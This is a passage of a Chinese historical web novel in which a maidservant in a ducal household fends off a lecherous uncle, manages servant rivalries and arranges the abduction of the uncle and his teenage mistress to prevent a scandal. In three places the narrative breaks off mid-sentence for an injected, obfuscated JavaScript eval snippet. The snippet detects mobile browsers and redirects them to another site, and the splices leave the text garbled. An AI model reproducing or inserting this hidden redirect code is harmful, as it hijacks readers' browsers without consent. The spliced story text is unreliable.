“等等,你既如此心慕我,倒不如今日先从我一回?说着,便要去拽她腰带。 沈澜这才意识到,裴延也不是傻子,他分明是怕自己哄他,走了便一去不回。 沈澜咬咬牙,斥道:“你在这里做什么!旁边便有假山石。去假山石里!” 裴延一惊,又难免有几分得色。这丫鬟竟真爱慕他,愿与他当个野鸳鸯。 沈澜慢慢转身,一步步往假山去。再拖一会儿,兰香便要找过来了,就算此事闹大也顾不得了。 她走得极慢,仿佛有些羞涩,怯怯道:“郎君,我们非要在此地吗?” 裴延不回答,只急急催促:“你怎么走的这么慢?”说着,又色熏熏道:“可要老爷抱你?” 沈澜与他虚与委蛇已经够恶心了,这会儿又惊又怒,只恨不得挖了他眼睛。 正当她想要开口拖延时,远处传来兰香喜悦声:“沁芳姐姐,沁芳姐姐,我找到香囊了。” 裴延脸色一变,沈澜已经高声应声道:“找到了便好。”说着,她急急转身离去,竟是看也不看裴延一眼。 裴延这才意识到,他被骗了!!勃然大怒的裴延意欲发作,却发现沁芳已快步跑远了。 就在沈澜和兰香寻回香囊,意欲返回存厚堂之时,存厚堂内,裴慎躺在楠木螺铀飘檐拔步床上,枕着素丝枕,略盖上一角墨色山水遍地锦被,胸口衣襟半散,酣然好眠。 一旁伺候的念春见裴慎睡得沉,便于床檐悬上蔷薇香球,抚下天青素纱帐上玉钩,轻声道:“爷睡沉了,出去吧。” 素秋和清冬对视一眼,“念春姐姐,一同走吧。” 念春冷哼一声,摔了门帘便走了。素秋和清冬也跟在后面出去。 此时博山炉里青桂香烟气袅袅。案头甜白蒲槌瓶内斜插着一支翠滴欲流的竹枝,日光透过半开的菱窗格洒进来,重叠明灭间,室内安静地只有裴慎绵长的呼吸声。 过了一会儿,忽有人掀开帘子进来,柔声唤道:“爷,我煮了碗解酒汤,爷起来喝一碗吧。” 裴慎只酣然好眠,兀自沉睡。 来的是清冬,她生得俏,正是十八好年华。只见她端起一只淡描青花缠枝花瓷碗,坐在榻边,柔柔怯怯地伸手将瓷碗递过去。 裴慎习武,在山西的那些年日日都有蒙古兵来犯,便是连睡觉都得留出三分警醒。这会儿隐隐见有人孤身立于榻前,心想他房中除了沁芳哪有女子?可沁芳从不戴首饰。 他因酒意正神思混沌,清冬见裴慎还未醒,便柔声道:“爷,奴婢为您宽衣。”说着,一双柔荑便抚上了裴慎胸口衣襟。 裴慎骤然惊醒,眼见一个不认识的女子立在床榻前望着他,他惊怒之下,一记窝心脚踹了过去。 裴慎常年习武,清冬不过是个弱女子,哪里挨的住他一脚,霎时便呕出一口血来,疼晕过去。 “沁芳呢?”裴慎怫然不悦,“怎么管的丫鬟,滚进来跪着!” 沈澜刚回存厚堂,只听见内室传来裴慎的声音,劈头盖脸便是一句跪下。 沈澜不知发生了何事,只面带茫然,心有戚戚。为什么刚逃过一劫,如今回来竟还要挨骂?为什么被裴延欺凌却不能狠狠扇他一巴掌?为什么莫名其妙要她下跪? ……她过得好好的,又为什么要被送来这里? 沈澜深呼吸一口气,咽下满腹为什么。再忍一忍,已忍了三年,不差这几个月。 沈澜原想问问怎么了,却又知道裴慎最痛恨旁人辩解,不说还好,一说恐怕今日没法善了。 她面色冷淡地掀开帘子,走进正堂,挺直脊背跪了下来。膝盖磕在冰冷的地面上,“咚”的一声,叫人心里一颤。 裴慎原本是一时气急加上酒后脑袋发懵,这会儿终于想起来她入府才半天,连清冬叫什么都未必知道,哪里管的到她头上。 他见沁芳平静地跪着,一时间讪讪道:“起来吧。” 跟谁过不去都别跟自己身体过不去,沈澜顺势起身。 她进来的时候看了眼躺在地上昏沉不知的女子、碎了一地的瓷碗、泼在地上的汤药便知道发生了什么,裴慎虽喜怒不定,但鲜少如此动怒。只是戎马数年,最忌讳陌生人孤身站在他榻前。 院中有这么多丫鬟,按理服侍裴慎必定是三四个丫鬟一起的,她哪里料到竟有人胆敢在裴慎熟睡之际,独自一人去摸裴慎胸膛心脏。 沈澜暗自叹气,只低头恭敬道:“爷,打死奴婢到底对官声不好,不如请个大夫来给她看看。”这姑娘躺在这里煞是可怜。 怕他犹在生气,届时迁怒,沈澜低声道:“爷,醒酒汤已洒了,不若服几颗衣梅,拿各色药材制成,裹了薄荷、橘叶,生津润肺,最是解酒。” 裴慎点了点头,嚼了几颗衣梅,心中顺气,只冷冷一瞥清冬:“治好之后送去庄子上。” 沈澜心生叹息,喊来健妇将她抬走,又命小丫鬟去请一个擅长治内伤的大夫。 裴慎见状,便将念春等其余三个一等丫鬟叫进来,吩咐道:“你们三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375398|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁是领头的?” 念春素来知道清冬看似温文不说话,实则心中有成算,否则也不敢挤开她去搀扶裴慎,又开口排挤她,却也没料到清冬竟敢干出这种事。 此刻,她被清冬的下场唬了一跳,噤若寒蝉,只强撑道:“奴婢念春,是四人中年纪最大的,素日里负责银钱往来。” 裴慎瞥她一眼道:“既管不好底下的丫鬟,便不必管了,将院子里的库房钥匙、账本对牌都交给沁芳。” 念春骤然被他这么一说,眼泪都在眼眶里打转。 沈澜又想叹气了。她再过几个月便要出府,不交接工作就不错了,哪里还能接手新工作呢?只是沈澜也不好忤逆裴慎,便低头不语。 裴慎处理完了此事,突然道:“更衣,我一会儿要出府。” 沈澜自然明白,他刚回京,自要走亲访友,有一大票人要联络交谊。 可她原本打算寸步不离的跟着裴慎,若裴慎这段时间天天出门的话,她便麻烦了。裴延必定会乘着裴慎不在找上门…… 就在沈澜忧思如何解决裴延对她的觊觎之心的时候,傍晚,裴慎赴宴回来了。面色如常,只眼中沉郁,分明是压抑着怒气,如同雷雨前兆,风暴前夕。 沈澜与他朝夕相处三年,一见他那样子暗道不好,下意识想避开,谁知裴慎直接把她喊进去道:“你去找几个人盯着四太太的院子。若四太太要出府,便来告知我。” 沈澜微怔。侄子往自己婶婶院子里安插人,这传出去也太难听了。况且之前还好好的,怎么赴宴回来就这样了? “是。”沈澜也不想多问,正要告退,裴慎突然道:“你可知道原因?” 沈澜摇摇头。见她不知情,裴慎只摆摆手:“罢了,这些个污糟事你也不必知道,去办便是。” 沈澜低头称是,出门便去找了念春 念春脾性泼辣,刚被剥了管事的权力,故而见了她便没个好脸色,“沁芳姐姐大驾光临,来我这破落地方做甚!” 沈澜不疾不徐道:“我今年十八,再过几个月便要出府。我一走,你勤恳些,大丫鬟的位子还是你的。”其他说什么都是虚的,唯有利益最实在。 果然,念春脸色一缓,将信将疑道:“你说的是真的?” 沈澜点点头,“只是爷如今厌弃了你们三个,若要保住位子,总得做些实事。” 念春犹疑道:“你想让我做什么?” “爷回来的那一天,四太太为何没有出现?”沈澜问道。 闻言,念春嗤笑两声,“她哪有脸面来赴宴!被关在佛堂里抄佛经呢!” 见沈澜迷惑不解,念春解释道:“四老爷最喜依红偎翠,前些日子把个粉头安置在府外做外室,被四太太知道了,喊了几个健妇婆子便打上门去,好巧不巧,堵了个正着。听说那会儿四太太疯了一样的打四老爷,把脸上挖的坑坑洼洼,整条街的人都来看笑话!” 沈澜明白了,裴慎必定是知道了此事,甚至很可能因此被政敌暗讽,怪不得脸色那么难看,仿佛被捉奸的是他自己一样。毕竟作为公府世子,魏国公府的名誉与他息息相关。 偏偏裴慎是做侄子的,不好插手叔父房里的事,便只能暗地里叫她盯着。恐怕林秉忠那头也正盯着四老爷。 沈澜理清了思路,便道:“你是府中的家生子,可否买通四太太院里的洒扫婆子,若四太太要出府,即刻来报。” 念春瞠目结舌。便是府中有再多的阴私,话也说得婉转,哪有像沁芳这样直来直往的,仿佛做生意一般。 “怎么?做不到?”沈澜惊讶道。她之所以找上念春,就因为念春是国公府家生子,而她才来了不到一天。 “你若不行,我自去办了便是。” 念春一时好奇,“你才来半日,连公府里的人都不认识,怎么办?” 沈澜淡淡道:“代爷去四太太院子里送个东西,便能见到扫洒婆子或是专门跑腿的小丫鬟,记下名字,无非是查查她有没有赌钱吃酒的习惯,家中可有人生病需要银钱之类的。再不济,分些糕点给跑腿小丫鬟也就是了。四太太要出府这种事,瞒不住的,我不过是要最快知道罢了,又不是教她们叛主,必有人愿意。” 听她这么说,念春连忙道:“能的能的。有个钱婆子,最是好钱,你又不伤天害理,她自然愿意的。” “即使如此,便劳烦你说和了。”语毕,沈澜犹豫片刻,又问道:“四太太被关在佛堂抄经,四老爷呢?” 念春一时间沉默下来,良久才道:“被老祖宗骂了两句便揭过不提了。” 沈澜只觉自己手心攥得死紧,良久她又问道:“那个外室呢?” 这下念春话更少了,只低头道:“死了。” 16. 第16章 春夏之交,天色瓦蓝如镜,雪团似的云雾絮在碧蓝苍穹上,明净澄澈,碧空如洗。 裴慎前几日拜访座师,联络同年同乡,今日又要与少时玩伴交谊,约上三五好友去了别院春猎。这一去,少说也要两三天。 加上四老爷裴延似忘了她一般,再也没来找她。以至于沈澜无事可做,便借着房中象眼窗格里漏进来的疏疏日光,闲坐读书。 正读到《幽明录》内白龟救人时,忽闻房外有喧哗之声。沈澜蹙眉,掀开帘子出去,恰好与匆匆赶来寻她的念春撞上。 “钱婆子来了。”念春急急道,“这婆子当真昏了头了,这般不晓事,竟挑着正午来,这院子里都是人!”既不能在大庭广众之下禀报四太太行踪,又不好将她引进房中说话,否则四房的扫洒婆子突然来存厚堂,还刻意关上门,傻子都知道有事。 念春又急又气。见状,沈澜只将手中书卷递给她,安抚道:“不必怪她。必定是四太太临时要出府,她只能匆匆前来禀报,哪里能挑时间呢?” 闻言,念春越发急切,只拧着帕子:“四太太出府去做甚?爷也不在,这可如何是好?还是快快去禀报大太太和老祖宗罢!” 沈澜瞥她一眼,被禁足的四太太能出府,大太太和老祖宗不知道吗?必是用了旁的借口,诸如什么探亲、礼佛之类的。 “你愣着做甚!你不去我去!”念春急得转身就走。 “你觉得老祖宗不信四太太说要出府去探亲、礼佛,信你一个丫鬟说四太太出府是为了捉奸?”沈澜慢条斯理问道。 念春一时愕然。 “还是说你想去告诉老祖宗,你窥伺主子行踪?”沈澜又问。 念春便不说话了。 沈澜兀自回身取了个藕色荷包,又往里塞入一两银子,阖上房门,走了几步便见到了有个婆子立在院中,穿着青绿色袄裙,赭色比甲,头上只戴了个?髻,插了根老式的一点油银簪。 见往来丫鬟婆子各司其职,方才还与她说话的念春也不知做甚去了,钱婆子立在院中,一时间竟有些讪讪。 沈澜走上前,翠眉微颦。这钱婆子慌慌张张的,看着便叫人起疑。沈澜笑盈盈道:“钱嬷嬷,可是四太太有吩咐?” 见钱婆子结巴了一会儿也编不出个理由来,沈澜无奈,只拿纤手抚了抚腰间素色络子。 钱嬷嬷连忙道:“非是四太太吩咐,只是听说姑娘是府外来的人,还是扬州人,便想来问问姑娘,可有时新的络子样式?” 沈澜便点点头,替她圆话:“说来上一回爷丢了个香囊,若不是嬷嬷眼尖,那香囊便找不回来了,届时我必定要挨骂。”这便解释了为何钱婆子作为四房扫洒婆子会认识她一个大房丫鬟。 说着,沈澜笑道:“扬州时新的络子有攒心梅花、方胜、九转连环。” 沈澜哪里会打络子,她身上的络子还是在绣庄买的,况且她心中焦急,便引钱婆子到廊下坐下,当着院中来来往往的丫鬟婆子面前,说道:“嬷嬷,这络子不仅有样式上的分别,颜色配起来也有说道。葱绿的络子若配桃红的汗巾子、荷包便俗气了,只因人人都这么配。” 钱婆子一时弄不明白沈澜要做什么,只好奇道:“那该怎么配?” “葱绿颜色浅淡,若配桃红,色太浓,看着便俗气,得拿桃粉来配,这便好看了。”沈澜笑道,“说来上回爷带回来几朵绒花,恰是淡淡的桃粉色。” 沈澜说到这里,驻足微微一怔,过了一会儿只懊恼道:“这几日收拾行李忙晕了头。临行前爷还吩咐我去寻摸一匣子好看的绒花。”众所周知,裴慎此番回来必定要订亲。这绒花赠给谁,不言而喻。 听到的丫鬟眼露艳羡,周围的几个婆子便纷纷笑起来。 说着,沈澜歉意的笑笑:“钱嬷嬷,实在对不住,爷再过一两天便要回来了,这络子的事我过几天再与你讲,可好?” 钱嬷嬷赶紧起身:“差事要紧。” 沈澜便笑着取下腰间荷包,连同那络子一起递给钱嬷嬷:“嬷嬷,你且把这荷包和络子拿回去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375399|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琢磨琢磨配色。” 钱嬷嬷接过荷包,只拿手一摸,笑出了满脸褶子:“哎呀,谢过沁芳姑娘,沁芳姑娘康强逢吉!却病延年!”这还是上次老祖宗过寿时有人说的祝词,她瞎学了两句。 沈澜有些想笑,可这样的情景她又笑不出来:“嬷嬷,这地上许是刚洒过水,您回去的时候小心,慢些走。” 钱婆子自然明白,这是要她避着人,别被人看见。钱婆子千恩万谢的离开了。” 沈澜这才一叠声吩咐道:“玉雁,你去寻林秉忠,叫他去外头找几朵时新精巧的绒花。告诉他快着些,别拖拖拉拉的,爷急用。再叫他多找些,买来的绒花还得孝敬给老祖宗和各房太太们。尤其是四太太那里,原本就没见着面,失了礼,这会儿得多孝敬几朵。” 七八岁的小丫鬟玉雁脆生生应了,提起裙摆就要跑,沈澜却忽而将她叫住,又吩咐道:“罢了,你且叫他在府外备好马车就是,他一个大男人,哪里晓得什么绒花宫花绢花的,保不准还得我去找。马车要寻常,不要显眼。偌大的国公府,寻不出一朵时新的绒花,还得上府外买,没得叫人笑话。” 玉雁点点头,见沈澜挥挥手,便一溜烟的跑远了。 沈澜即刻道:“念春,你带着剩下几个丫鬟速速缝制几个面罩来。取一块细棉布,四四方方能盖住下半张脸的大小即可,四个角各缝上四根带子。缝上几个,一会儿出门要用。” 说罢,还解释道:“出门在外不好露面,春季里风沙大,帷帽还不透气,不若这般面罩来的好使。” 闻言,着急慌忙站在廊下的念春劝道:“寻个绒花罢了,何至于这般大张旗鼓的。若外头没有好绒花可怎么办?”若四太太不是去捉奸的可怎么办? 沈澜但笑不语。若是虚惊一场,裴慎回来最多说她几句大惊小怪,左右明面上也只是几朵绒花罢了,无人会在意的。 可若四太太真要去捉奸,沈澜阻止不及,那怕是得狠狠吃个挂落,还会影响她在领导心中形象。怎么选择,不言而喻。 17. 第17章 沈澜安抚好念春,只带着兰香,匆匆赶往大太太的院子。 沿存厚堂向东,粉白的游廊一侧无窗,一侧挂着竹帘,廊下栽着数丛修竹新笋,竹帘四垂,竹叶繁茂,衬得天光杳杳,晦晦难明。 前方游廊似已至尽头,沈澜略一拐弯,便行至月洞门前,大片大片的日光从月洞门一跃而出,倏忽之间便朗阔明彻起来。 沈澜满腹心事,原也无心赏景,只是这般山重水复疑无路,柳暗花明又一村的景象,令她不由得赞叹起这国公府设计之精巧。 穿过月洞门,又过了一道垂花门,便来到了大太太的兰雪堂。 大太太年过四十,面有细纹,只梳着鹅胆高髻,衔珠金簪齐插,戴着金镶红宝石珠箍,歪在藕荷色水芙蓉杭绸引枕上,呷着龙团胜雪。 沈澜得了通禀,前来见她,只说得了爷吩咐,要去外头采买些绒花。 她虽是裴慎的丫鬟,可府中内宅之事,俱是大太太管辖,若无大太太允许,沈澜是出不得府的。 闻言,大太太放下宣德窑印花白瓯茶盏,面露不悦:“不过是几朵绒花罢了,去外头买做甚。” 一旁有个丫鬟凑趣道:“听说沁芳姐姐不是家生子,许是不知道国公府养了好几十个绣娘罢。” 能在内室伺候的丫鬟都是玲珑心肝,见大太太不曾阻止,便纷纷出言,一个说“来日带沁芳姐姐见见绣娘”,一个说“沁芳姐姐不知道,宫里有绒花赐下,外头的有什么好稀罕的?” 字字句句绵里藏针,沈澜心中叹息。这些人不认识她,也并无恶意,不过是会了大太太的意,要赏她一个下马威罢了。只是不明白她何时得罪了大太太。 “太太,爷临行前特意叮嘱我,只说要最时新的苏样。”沈澜垂首恭顺道。苏州时新货,既不是宫里赏的,也不是府内绣娘们自己绣的。 大太太点头道:“你不是京都本地人,初来乍到,哪里知道京里有哪些好铺子呢?且叫翠微与你一同去罢。”说罢,便招招手,唤来身侧一个碧青襦裙,素色比甲的丫鬟。 又道:“待选完了绒花,便收拾收拾,且去存厚堂伺候慎哥罢。” 翠微生得俏,羞羞怯怯屈膝行礼:“是”。周围年轻的丫鬟们一阵艳羡。 沈澜心中恍然,这翠微是来补位清冬的,那么大太太看她不顺眼,恐怕就是因为清冬了。 裴慎积年在外,院子里的丫鬟多半是大太太挑的。谁知裴慎刚回来,清冬便被发配去了庄子上。大太太不会觉得自己挑的丫鬟不好,也不会觉得裴慎不好,思来想去,必是她这个外来的,跟着裴慎四处上任的丫鬟私下里挑拨。 沈澜暗叹倒霉,又找不出理由拒绝,况且她何必拒绝惹怒了大太太呢?左右院子里多的是丫鬟婆子,多一个不多,少一个不少,随她去罢。 唯一的麻烦是她不能带着翠微出府,又不是真要去买什么绒花。 “是。”沈澜先行应下,只带着翠微往外走。 出了兰雪堂,行至廊中,见四下无人,沈澜才道:“翠微,你先去存厚堂寻念春可好?” 翠微惊诧,摇了摇头:“大太太叫我与你一同去买绒花。” 沈澜无奈,编了个理由:“爷或许再过半天便要回来了,凑一盒时新绒花必要东奔西跑,汗流浃背,衣衫不整地去见爷,反倒不美。况且爷回来了,得知我还未买好,届时或许还累得你挨骂。” 翠微固执的摇摇头:“大太太吩咐我与你同去。”她伺候大太太,便听大太太的吩咐。哪里敢违逆呢? 沈澜蹙眉,她来来回回的,已是一刻钟过去,林秉忠还在府外等,若与翠微再磨缠下去,恐怕四太太那头要来不及了。 “既是如此,走罢。”左右翠微是存厚堂的人了,也不敢将今日之事说出去。 沈澜提着个细布包袱,匆匆带着翠微从东侧小角门出了国公府。府外已停了辆双轮骡车,无描金黑漆,锦缎雕篆,唯素布清漆,毫不起眼,如同平常人家出行。 沈澜带着翠微上了骡车,车夫李六扬鞭,骡车便哒哒地动起来。 车内两人静坐无言,骡车行了一会儿,翠微忍不住道:“若要买绒花,当去朱雀街的露香园,或是德耀街的青碧斋,拙园的也极好。你打算去哪儿?” 沈澜只从袖中取出口罩系好,又递给翠微另一个,低声道:“先戴上,今日出来有事,你莫要多问。” 翠微一惊:“你不是来买绒花的!”语毕,她高呼:“你竟敢骗大太太?!” 沈澜正要解释,骡车倏忽停下。守在杏花胡同不远处,等得心焦的林秉忠一看见骡车过来,即刻飞奔上前,掀开帘子,脱口而出:“你可算是来了!” “急什么,上来罢。”沈澜道。 林秉忠四下打量,无人。便带着身后两人进了车厢。 翠微脸色一变:“你叫他们上来做甚!”她一个黄花大闺女,跟三个男人挤在一个密闭车厢里,传出去哪有清誉可言?! 林秉忠也奇道,此人不是爷身边的丫鬟,怎会在沁芳身旁? 沈澜只以为她骤然见三个男人上车,心中害怕,便安慰道:“翠微,他们是爷的护卫,不会伤害你,莫怕。只是他们若不进车厢,守在车外太引人注目。”普通百姓,或许稍稍富裕些,却也雇不起三个壮年护院。 翠微性子执拗,极守原则,见沈澜欺瞒大太太,心中已是不满,再见她这般轻浮,越发不忿,只柳眉倒竖,言辞如刀,“我魏国公府若要做什么,堂堂正正去做便是!这京都地界,谁敢多嘴?你从外头学来的鬼祟行径,莫带来国公府!” 林秉忠碍于男女大防,和身后俩人一起低头,没敢多看,听了翠微这话,心中略有几分不平。 他们从前在外头东奔西跑日日忙碌,爷素日里只赏赐财货,其余小事并不在意。沁芳来了之后一年四季发放衣衫、药材,每年请一次大夫把平安脉。林林总总,虽是以爷的名义,可众人也承沁芳的情。 林秉忠只低头道:“翠微姑娘慎言。” 翠微不理他,连声高呼:“停车!停车!” 车夫没动,骡车继续往前走。 “阿六,劳您快着些。”沈澜嘱咐道。 “得嘞!”车夫一扬鞭,青骡走的更快了。 翠微又急又气:“你、你……我告诉太太去!!” 沈澜学她的语调,慢悠悠道:“我告诉爷去。” 林秉忠骤然笑出了声。其余两人年纪也不过十七八,顿时一声闷笑。 翠微脸色涨红,她在兰雪堂也是有脸面的丫鬟,从未吃过此等闷亏。今日被人逼到这份上,着实生气,只一叠声道:“你莫搬出爷来压我。爷成婚娶妻,新夫人一来,哪里还有你好日子过?我倒要看看,你一个外来户还能骄横到几时!” 沈澜尚未说话,林秉忠脸色已格外难看,斥了一句,“翠微姑娘,爷的婚事不是你能置喙的。” 翠微脸一白,惊觉失言,如何敢妄议主子。便不说话了,只暗下决心,沁芳胆敢欺瞒大太太,又行鬼祟事败坏国公府声名,还与男子私自往来轻浮浪荡,必要去大太太那里告她一状。 见翠微不语,沈澜便道:“情况如何?” 林秉忠急急道:“前面便是杏花胡同,正是那外室所在。此人名唤玉容,原是行院里的姑娘,后被四老爷赎身,安置在杏花胡同第三座院子里,乌木门的那座。” 沈澜又问道:“四太太那里你可绊住了?” “已派人毁了四太太马车车轮,若要修好,少说还要一刻钟。” “不错。”沈澜称赞道。闻言,林秉忠苦笑:“哪里不错?若不是你派人提醒我,说要给四太太送绒花,我只怕要等四太太到了那外室门口才知道。” 他叹了口气,忧心忡忡:“希望能赶上罢。”这要让四太太再闹一次,全京城都得看魏国公府的笑话,梅开二度,爷非得活剐了他不可。 沈澜点头道:“且安心。”说罢,从袖中取出几个粗粗缝制的口罩,“叫大家都戴上。” 林秉忠接过来,不过是一块四四方方的棉布上四个角各缝了一根带子。他感叹道:“这玩意儿戴上了,当真形同匪寇。” 沈澜解释道,“到底是要进人宅院的,遮掩些为妙。”其实是她自己出门后为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375400|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遮掩过盛的容貌,防止惹出祸事来。 “况且此事来得太急,你们匆匆换去了亲卫服,恐怕来不及带粗布覆面。” 来的都是裴慎的亲兵,算上车夫,一共四个男人,衣服都是府里发,外头买,哪里来的碎布料遮面?若叫他们自己去找,多半是从衣服上撕下一块。好端端的衣服,毁了可惜。 林秉忠暗道沁芳姑娘果真心细如发:“我们只要四个便够了,剩下的还给姑娘。” 沈澜摇摇头,“剩下的你们收着,届时进了门,塞进那些人嘴里,防止他们闹出声来。” 林秉忠服气地点点头。若叫他们上战场杀敌分毫不惧,只是处理起此等弯弯绕绕的阴私之事来,重了怕惹爷不快,轻了怕办事不力,着实没了头脑。 “麻绳都带了吗?”沈澜问道。 林秉忠:“带了。棍子、麻袋也带了,还有伤药。” “好。”沈澜点点头。 谈话之间,骡车停在了杏花胡同口。杏花胡同以巷口杏花树得名。树龄已十余年,树大根深,枝丫繁茂,绿荫蔽日,冠盖如林。 树下有三两小童斗蚁,剪去蚁上双须,令两蚁相斗,呼呼喝喝,加油鼓劲,只玩得满头大汗。还有几个老迈妇人一面缝补衣裳,一面闲坐磕牙,眼看有不曾见过的骡车来,即刻好奇招呼道:“你们是哪个?来此做甚?!” 沈澜隔着帘子朗声道:“此地可是杏花胡同?我来探望家姐。” “是哩是哩。”妇人道:“你阿姐是哪家?” “说是杏花胡同乌木门的那家。” 妇人恍然大悟,“嗐,你往里走,第三户人家便是了。” “多谢这位嫂子了。” 骡车继续往里走,留下一众好奇的妇孺张望着,依稀还能听见几个妇人谈论声。 这杏花巷巷子窄,一辆骡车带上车厢便能堵得严严实实。此刻骡车停在门口,巷口的妇孺们往巷子里望,只能看见车厢尾。 到了乌木门口,沈澜下了车,“咄咄咄”敲门三声。 “谁啊?”门内隐隐传来说话声。 沈澜高声道:“是我,阿姐你可在家?” 阿姐?门内丫鬟开了门,见眼前人着细布衣衫,戴着个怪模怪样的面罩,只疑惑道:“你是哪个?” 沈澜微笑:“你家姑娘可在?”丫鬟脸色大变,即刻就想阖门。 可她哪里快的过林秉忠,对方早在开门时就站在墙边,此刻一把捂住那丫鬟的嘴。剩下两人即刻进门,直冲内室。 沈澜慢悠悠地往里走。 “啊——你们是谁?!” “檀郎救我!” “你们是哪里来的?!我是魏国公府……唔唔……” 正房里,俩人已将四老爷、玉容姑娘堵住嘴,捆成了两个粽子。 春夏季衣裳薄,俩人俱衣衫不整。四老爷葡萄紫潞绸里衣半敞,露出了白肚皮,茄花色膝裤松松散散。玉容姑娘亦是鬓斜钗横,衣襟散乱,露出了鹅黄鸳鸯戏水杭缎抹胸。大片大片的雪白肌肤横亘在眼前,看的逮人的两名亲卫面红耳赤,手都不知道往哪里摆了。 “哎呀,你们怎么把四老爷捆成这样?”跟在沈澜身后进来的翠微惊呼,“还不快快解开。” 此话一出,地上的四老爷顿时唔唔地挣扎起来,一旁的玉容姑娘也激动起来。 沈澜扫了翠微一眼,只说道:“套进麻袋!即刻就走!” 匆匆将室内恢复成原样,又阖上乌木门,林秉忠带着剩下的俩人,将四老爷、玉容、丫鬟统统塞进骡车,众人拥挤着上了车。 行到胡同口,沈澜便高声道:“多谢方才那位嫂子了,我们找错人了。不是杏花胡同,是槐花胡同。” 那妇人正与众人站在巷口看稀奇,闻言,摆摆手道,“找错人了?槐花胡同还得过去几条街呢!” 沈澜谢过她,骡车晃晃悠悠地继续走。恰在此时,另一辆雕花饰锦,红缨缀玉,旁有七八个健妇围绕的四轮马车也到了杏花胡同。 两车相遇,骡车避让,停了一会儿,见马车匆匆而过,骡车这才继续慢悠悠的动起来。 18. 第18章 车厢长宽不过四尺,颇为狭窄,众人难免肩挨肩,踵接踵。翠微碍于男女大防,膝盖拼命往里缩。林秉忠带着两个亲兵不敢看女眷,只能低着头,为了节省空间又只能半蹲着。车上三个麻袋侧身叠在一起,勉力挣扎,姿势别扭。 沈澜抱膝而坐,竭力缩在一角,只她态度舒展大方,神色颇为平静。 索性这样的拥挤很快就结束了。 “林头儿,沁芳姑娘,到了。”车夫将骡车赶进了一栋两进小宅里。 这栋宅子是裴慎私宅,专用来安置亲兵,处理私事。 林秉忠跳下车,有个亲卫即刻迎上来,抱拳行礼:“林头儿,你让我盯着的马车在乌木门口停了一会儿,没闹出什么大动静,又离开了杏花胡同。” 林秉忠摆摆手。四太太现在去那里,什么人都找不到,没办法捉奸在床,就只能回来。今儿这事算是解决了。 “多谢沁芳姑娘。”林秉忠拱手答谢,“这釜底抽薪用得极妙。” 一心要捉奸的四太太是无论如何都拦不住的,要让四太太回府,只能釜底抽薪,让她无奸可捉。 沈澜提着包袱下了车,微微垂首道:“你若真要谢我,便去寻个单间。将三人分开关押。” “爷明日就回来了。四老爷今晚不回去,会不会……”林秉忠有些担忧。 沈澜摇摇头:“不会的。四老爷在秦淮河畔倚红偎翠,彻夜不归也是常有的事。” “那便好。”林秉忠派人寻了三个单间,分开将三人扔了进去。 “沁芳姑娘,天色将晚,不若我送你回去。”林秉忠道。 沈澜摇摇头,“多谢你了,但我想先去看看那名女子。” 林秉忠愣神片刻,连忙道:“我带姑娘去吧。” “不必。”沈澜轻声道:“你在这里看好翠微,别让她乱走动乱说话。” 说着,沈澜带着包袱,踏进了玉容所在的单间。门被锁着,窗户也都被钉死。日影斜斜,日光疏疏,透过窗上七零八落的木板缝隙钻进来,明明灭灭的映在床榻上。 沈澜进来时,玉容已被人从麻袋里放出来,双手双脚被缚,嘴里塞着棉布,只躺在榻上怔怔落泪。 她很漂亮,鹅蛋脸,皮肤光洁细腻有弹性,杏仁眼睁大了显得滚圆,泛着青春干净的美。沈澜猜测,她大概也就十四五岁。 四老爷今年已经四十有二了,女儿比她还大几岁。 大概是觉得自己被强人所掳,即将横死,见沈澜进来,她拼命挣扎起来,双手被粗粝的麻绳摩擦,泪珠从眼角滚落。 且她原本就衣衫不整,这一路颠簸,连抹胸都快散开大半。剧烈挣扎之下,顿时露出了半片雪白的胸脯。 沈澜闷声不吭地打开了包袱。 玉容挣扎的越发厉害,唔唔乱喊,手腕被麻绳磨破皮,眼中惊恐交加,泪水汹汹而下,生怕沈澜拿出一根白绫将她吊死。 包袱打开来,是一套干净的女式衣衫。豆青抹胸,素白中单,沉绿团衫,葱白襦裙,藕合比甲,一应俱全。 玉容微怔,挣扎渐缓,眼泪却一下子落得更凶。 沈澜替她系好抹胸,换上干净的里衣、外衫、袄裙,比甲。 玉容已满面泪痕。 “对不住,方才时间太赶,来不及给你换衣服,叫你难过了。”沈澜说着说着心中酸涩,只觉自己像是鳄鱼的眼泪。 玉容唔唔挣扎起来,似要说话。 沈澜:“你不要喊叫,若答应便眨两下眼睛。”见她连眨两下眼,沈澜这才解下她口中棉布。 